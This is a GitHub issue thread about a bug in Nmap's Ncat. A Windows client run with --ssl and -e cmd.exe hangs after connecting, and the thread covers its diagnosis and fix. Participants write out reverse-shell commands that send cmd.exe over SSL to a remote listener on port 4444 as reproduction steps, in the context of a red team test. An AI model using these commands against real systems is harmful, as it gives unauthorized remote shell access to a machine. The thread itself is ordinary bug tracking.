Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ncat client --ssl with -e does not work on Windows #1267

Closed
dmiller-nmap opened this Issue Jul 10, 2018 · 6 comments

Comments

Projects
None yet
4 participants
@dmiller-nmap
Copy link

dmiller-nmap commented Jul 10, 2018

Reported:

I was conducting a red team test the other day and noticed that when I was trying to send a cmd.exe using the --ssl option of ncat to a remote ncat listener on a Linux box, although the connection did return and we could see the shell popping, whenever you try typing any command, it becomes unresponsive and the ncat on the Windows box seems to be entering a big loop of printing out debugging messages becoming unresponsive as well.

When I used ncat through socat so that socat did the ssl encryption, it worked fine.

@schnippe

This comment has been minimized.

Copy link

schnippe commented Jul 17, 2018

please see duplicate #1274

@dmiller-nmap

This comment has been minimized.

Copy link
Author

dmiller-nmap commented Jul 19, 2018

In my testing, change 420618c fixes the SSL error, but I don't get any further output from the shell. Entering dir doesn't return any output. On the client side (ncat --ssl -e cmd localhost) I see

NCAT DEBUG: i == WAIT_OBJECT_0

every time I strike Enter on the server (shell) side.

@nmap-bot nmap-bot closed this in f31ef12 Jul 23, 2018

@dmiller-nmap

This comment has been minimized.

Copy link
Author

dmiller-nmap commented Jul 23, 2018

All right! Fix is in SVN, will be mirrored to Github within an hour. Problems included:

  1. WaitForMultipleObjects only tells you the first of the events that signalled,
  2. SSL_read doesn't clear the event, so WaitForMultipleObjects keeps notifying that the socket needs a read.

So the subprocess never got a chance to send any data to the socket.

@gvanem

This comment has been minimized.

Copy link

gvanem commented Jul 25, 2018

How did this get closed? The fix doesn't even compile. See my comment here.

@SeanDHeath

This comment has been minimized.

Copy link

SeanDHeath commented Sep 16, 2018

I'm still running into this issue using ncat 7.70 on Linux and Windows:

Linux:
ncat -lp 4444 --ssl
Windows:
ncat --ssl -e cmd.exe <linux ip> 4444

It connects and I get the command prompt on the Linux box but as soon as I enter a command the Windows box starts spamming:
NCAT DEBUG: SSL error on 84: error:0000002:lib(0):func(0):system lib

@dmiller-nmap

This comment has been minimized.

Copy link
Author

dmiller-nmap commented Sep 17, 2018

@SeanDHeath The fix has not been released. It will be included in the next release of Ncat.

@gvanem Sorry about the late reply. I saw your comment and made the fix in 7629f3b

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.